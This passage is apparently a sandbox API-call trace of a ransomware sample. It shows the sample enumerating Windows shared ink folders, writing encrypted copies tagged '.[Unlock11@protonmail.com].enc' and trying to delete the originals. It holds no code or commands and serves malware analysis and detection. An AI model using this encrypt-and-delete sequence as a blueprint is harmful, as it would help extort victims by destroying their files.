GetLastError () returned 0x0 [0123.096] GetLastError () returned 0x0 [0123.097] GetCurrentThreadId () returned 0x9b0 [0123.097] GetLastError () returned 0x0 [0123.097] GetLastError () returned 0x0 [0123.097] GetLastError () returned 0x0 [0123.097] GetLastError () returned 0x0 [0123.097] GetLastError () returned 0x0 [0123.097] GetCurrentThreadId () returned 0x9b0 [0123.097] GetLastError () returned 0x0 [0123.097] GetCurrentThreadId () returned 0x9b0 [0123.097] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a568 | out: hHeap=0x2ad0000) returned 1 [0123.097] GetLastError () returned 0x0 [0123.098] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d60f0 | out: hHeap=0x2ad0000) returned 1 [0123.098] GetLastError () returned 0x0 [0123.098] GetLastError () returned 0x0 [0123.098] GetLastError () returned 0x0 [0123.098] GetCurrentThreadId () returned 0x9b0 [0123.098] GetLastError () returned 0x0 [0123.098] GetLastError () returned 0x0 [0123.098] GetLastError () returned 0x0 [0123.098] GetLastError () returned 0x0 [0123.098] GetLastError () returned 0x0 [0123.098] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.099] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x42d)) returned 1 [0123.099] GetLastError () returned 0x0 [0123.099] GetCurrentThreadId () returned 0x9b0 [0123.099] GetLastError () returned 0x0 [0123.099] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa29d8 | out: hHeap=0x2ad0000) returned 1 [0123.099] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366814c | out: pbBuffer=0x366814c) returned 1 [0123.099] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0123.099] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a2ea0 [0123.099] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0123.099] GetCurrentThreadId () returned 0x9b0 [0123.099] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab98 [0123.100] GetLastError () returned 0x0 [0123.100] GetLastError () returned 0x0 [0123.100] GetLastError () returned 0x0 [0123.100] GetLastError () returned 0x0 [0123.100] GetCurrentThreadId () returned 0x9b0 [0123.100] GetLastError () returned 0x0 [0123.100] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab98 | out: hHeap=0x2ad0000) returned 1 [0123.100] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaa30 [0123.100] GetCurrentThreadId () returned 0x9b0 [0123.100] GetLastError () returned 0x0 [0123.101] GetLastError () returned 0x0 [0123.101] GetLastError () returned 0x0 [0123.101] GetLastError () returned 0x0 [0123.101] GetCurrentThreadId () returned 0x9b0 [0123.101] GetLastError () returned 0x0 [0123.101] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaa30 | out: hHeap=0x2ad0000) returned 1 [0123.101] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6cb8 [0123.101] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2ea0 | out: hHeap=0x2ad0000) returned 1 [0123.102] GetLastError () returned 0x0 [0123.102] GetLastError () returned 0x0 [0123.102] GetLastError () returned 0x0 [0123.102] GetLastError () returned 0x0 [0123.102] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0123.102] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6a28 [0123.102] GetLastError () returned 0x0 [0123.102] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0123.102] GetFileType (hFile=0x39c) returned 0x1 [0123.102] GetLastError () returned 0x0 [0123.103] GetCurrentThreadId () returned 0x9b0 [0123.103] GetLastError () returned 0x0 [0123.103] GetFileType (hFile=0x39c) returned 0x1 [0123.103] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.103] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.103] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.103] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.103] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.103] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.103] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.103] GetLastError () returned 0x0 [0123.103] GetCurrentThreadId () returned 0x9b0 [0123.104] GetLastError () returned 0x0 [0123.104] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a28 | out: hHeap=0x2ad0000) returned 1 [0123.104] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2a98 | out: hHeap=0x2ad0000) returned 1 [0123.104] GetLastError () returned 0x0 [0123.104] GetLastError () returned 0x0 [0123.104] GetLastError () returned 0x0 [0123.104] GetLastError () returned 0x0 [0123.104] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0123.104] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6a68 [0123.104] GetLastError () returned 0x0 [0123.104] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0123.105] GetFileType (hFile=0x3ac) returned 0x1 [0123.105] GetLastError () returned 0x0 [0123.105] GetCurrentThreadId () returned 0x9b0 [0123.105] GetLastError () returned 0x0 [0123.105] GetFileType (hFile=0x3ac) returned 0x1 [0123.105] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.105] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.105] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.106] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.106] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.106] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.106] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.106] GetLastError () returned 0x0 [0123.106] GetCurrentThreadId () returned 0x9b0 [0123.106] GetLastError () returned 0x0 [0123.106] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a68 | out: hHeap=0x2ad0000) returned 1 [0123.106] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bc090 | out: hHeap=0x2ad0000) returned 1 [0123.106] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0123.106] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0123.106] GetLastError () returned 0x0 [0123.106] GetLastError () returned 0x0 [0123.107] GetCurrentThreadId () returned 0x9b0 [0123.107] GetLastError () returned 0x0 [0123.107] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0123.107] GetLastError () returned 0x0 [0123.107] GetLastError () returned 0x0 [0123.107] GetCurrentThreadId () returned 0x9b0 [0123.107] GetLastError () returned 0x0 [0123.107] GetLastError () returned 0x0 [0123.109] GetLastError () returned 0x0 [0123.109] GetCurrentThreadId () returned 0x9b0 [0123.109] GetLastError () returned 0x0 [0123.109] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6cb8 | out: hHeap=0x2ad0000) returned 1 [0123.109] GetCurrentThreadId () returned 0x9b0 [0123.109] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x448) returned 0x3265248 [0123.109] GetLastError () returned 0x0 [0123.109] GetLastError () returned 0x0 [0123.110] GetLastError () returned 0x0 [0123.110] GetLastError () returned 0x0 [0123.110] GetCurrentThreadId () returned 0x9b0 [0123.110] GetLastError () returned 0x0 [0123.110] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265248 | out: hHeap=0x2ad0000) returned 1 [0123.110] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0123.110] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0123.110] GetLastError () returned 0x0 [0123.110] GetLastError () returned 0x0 [0123.110] GetCurrentThreadId () returned 0x9b0 [0123.110] GetLastError () returned 0x0 [0123.110] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6358 | out: hHeap=0x2ad0000) returned 1 [0123.111] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8998 [0123.111] GetLastError () returned 0x0 [0123.111] GetLastError () returned 0x0 [0123.111] GetCurrentThreadId () returned 0x9b0 [0123.111] GetLastError () returned 0x0 [0123.111] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8998 | out: hHeap=0x2ad0000) returned 1 [0123.111] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0123.111] GetLastError () returned 0x0 [0123.112] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0123.112] CloseHandle (hObject=0x3ac) returned 1 [0123.113] GetCurrentThreadId () returned 0x9b0 [0123.113] CloseHandle (hObject=0x39c) returned 1 [0123.113] GetCurrentThreadId () returned 0x9b0 [0123.113] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml")) returned 0 [0123.113] GetCurrentThreadId () returned 0x9b0 [0123.113] GetCurrentThreadId () returned 0x9b0 [0123.113] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0123.114] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\*.*", lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ceb7f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7690 [0123.114] GetCurrentThreadId () returned 0x9b0 [0123.114] FindNextFileA (in: hFindFile=0x10f7690, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ceb7f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.114] GetCurrentThreadId () returned 0x9b0 [0123.114] FindNextFileA (in: hFindFile=0x10f7690, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x73d, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 1 [0123.114] GetCurrentThreadId () returned 0x9b0 [0123.114] FindNextFileA (in: hFindFile=0x10f7690, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x73d, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 0 [0123.114] GetCurrentThreadId () returned 0x9b0 [0123.115] FindClose (in: hFindFile=0x10f7690 | out: hFindFile=0x10f7690) returned 1 [0123.115] GetCurrentThreadId () returned 0x9b0 [0123.115] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml")) returned 0x20 [0123.115] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de680 | out: hHeap=0x2ad0000) returned 1 [0123.115] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0123.115] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0123.115] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml", lpFilePart=0x9bada4*="osknumpadbase.xml") returned 0x5c [0123.115] GetCurrentThreadId () returned 0x9b0 [0123.116] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0123.116] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0123.116] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0123.116] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0123.116] GetCurrentThreadId () returned 0x9b0 [0123.116] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea8f0 [0123.116] GetCurrentThreadId () returned 0x9b0 [0123.116] GetCurrentThreadId () returned 0x9b0 [0123.117] GetCurrentThreadId () returned 0x9b0 [0123.117] GetCurrentThreadId () returned 0x9b0 [0123.117] GetCurrentThreadId () returned 0x9b0 [0123.117] GetCurrentThreadId () returned 0x9b0 [0123.117] GetCurrentThreadId () returned 0x9b0 [0123.117] GetCurrentThreadId () returned 0x9b0 [0123.117] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x73d)) returned 1 [0123.117] GetCurrentThreadId () returned 0x9b0 [0123.117] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668b74 | out: pbBuffer=0x3668b74) returned 1 [0123.118] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0123.118] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3df0 [0123.118] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0123.118] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab98 [0123.118] GetCurrentThreadId () returned 0x9b0 [0123.118] GetCurrentThreadId () returned 0x9b0 [0123.118] GetCurrentThreadId () returned 0x9b0 [0123.118] GetCurrentThreadId () returned 0x9b0 [0123.118] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eac38 | out: hHeap=0x2ad0000) returned 1 [0123.118] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6cb8 [0123.118] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a3df0 | out: hHeap=0x2ad0000) returned 1 [0123.119] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0123.119] GetFileType (hFile=0x39c) returned 0x1 [0123.119] GetCurrentThreadId () returned 0x9b0 [0123.119] GetFileType (hFile=0x39c) returned 0x1 [0123.119] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.119] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.119] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.119] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.119] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.119] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.120] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.120] GetLastError () returned 0x0 [0123.120] GetCurrentThreadId () returned 0x9b0 [0123.120] GetLastError () returned 0x0 [0123.120] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69d8 | out: hHeap=0x2ad0000) returned 1 [0123.120] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de8f0 | out: hHeap=0x2ad0000) returned 1 [0123.120] GetLastError () returned 0x0 [0123.120] GetLastError () returned 0x0 [0123.120] GetLastError () returned 0x0 [0123.120] GetLastError () returned 0x0 [0123.120] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0123.120] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6bb8 [0123.121] GetLastError () returned 0x0 [0123.121] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0123.121] GetFileType (hFile=0x3ac) returned 0x1 [0123.121] GetLastError () returned 0x0 [0123.121] GetCurrentThreadId () returned 0x9b0 [0123.121] GetLastError () returned 0x0 [0123.121] GetFileType (hFile=0x3ac) returned 0x1 [0123.121] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.122] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.122] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.122] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.122] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.122] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.122] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.122] GetLastError () returned 0x0 [0123.122] GetCurrentThreadId () returned 0x9b0 [0123.122] GetLastError () returned 0x0 [0123.122] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6bb8 | out: hHeap=0x2ad0000) returned 1 [0123.122] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e8960 | out: hHeap=0x2ad0000) returned 1 [0123.122] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0123.122] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0123.123] GetLastError () returned 0x0 [0123.123] GetLastError () returned 0x0 [0123.123] GetCurrentThreadId () returned 0x9b0 [0123.123] GetLastError () returned 0x0 [0123.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0123.123] GetLastError () returned 0x0 [0123.123] GetLastError () returned 0x0 [0123.123] GetCurrentThreadId () returned 0x9b0 [0123.123] GetLastError () returned 0x0 [0123.123] GetLastError () returned 0x0 [0123.125] GetLastError () returned 0x0 [0123.125] GetCurrentThreadId () returned 0x9b0 [0123.125] GetLastError () returned 0x0 [0123.125] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6cb8 | out: hHeap=0x2ad0000) returned 1 [0123.125] GetCurrentThreadId () returned 0x9b0 [0123.125] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x758) returned 0x37bd5d0 [0123.126] GetLastError () returned 0x0 [0123.126] GetLastError () returned 0x0 [0123.126] GetLastError () returned 0x0 [0123.126] GetLastError () returned 0x0 [0123.126] GetCurrentThreadId () returned 0x9b0 [0123.126] GetLastError () returned 0x0 [0123.126] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bd5d0 | out: hHeap=0x2ad0000) returned 1 [0123.126] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0123.126] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0123.126] GetLastError () returned 0x0 [0123.126] GetLastError () returned 0x0 [0123.127] GetCurrentThreadId () returned 0x9b0 [0123.127] GetLastError () returned 0x0 [0123.127] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bdd58 | out: hHeap=0x2ad0000) returned 1 [0123.127] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8ca8 [0123.127] GetLastError () returned 0x0 [0123.127] GetLastError () returned 0x0 [0123.127] GetCurrentThreadId () returned 0x9b0 [0123.127] GetLastError () returned 0x0 [0123.127] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8ca8 | out: hHeap=0x2ad0000) returned 1 [0123.127] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0123.127] GetLastError () returned 0x0 [0123.128] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0123.129] CloseHandle (hObject=0x3ac) returned 1 [0123.129] GetLastError () returned 0x0 [0123.129] GetCurrentThreadId () returned 0x9b0 [0123.129] GetLastError () returned 0x0 [0123.129] GetLastError () returned 0x0 [0123.129] CloseHandle (hObject=0x39c) returned 1 [0123.129] GetLastError () returned 0x0 [0123.129] GetCurrentThreadId () returned 0x9b0 [0123.129] GetLastError () returned 0x0 [0123.129] GetLastError () returned 0x0 [0123.130] GetLastError () returned 0x0 [0123.130] GetLastError () returned 0x0 [0123.130] GetLastError () returned 0x0 [0123.130] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml")) returned 0 [0123.130] GetLastError () returned 0x5 [0123.130] GetCurrentThreadId () returned 0x9b0 [0123.130] GetLastError () returned 0x5 [0123.130] GetLastError () returned 0x5 [0123.130] GetLastError () returned 0x5 [0123.130] GetLastError () returned 0x5 [0123.131] LocalFree (hMem=0x1053c70) returned 0x0 [0123.131] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0123.131] GetCurrentThreadId () returned 0x9b0 [0123.131] GetLastError () returned 0x5 [0123.131] GetLastError () returned 0x5 [0123.131] GetLastError () returned 0x5 [0123.131] GetLastError () returned 0x5 [0123.131] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\*.*", lpFindFileData=0x9bad90 | out: 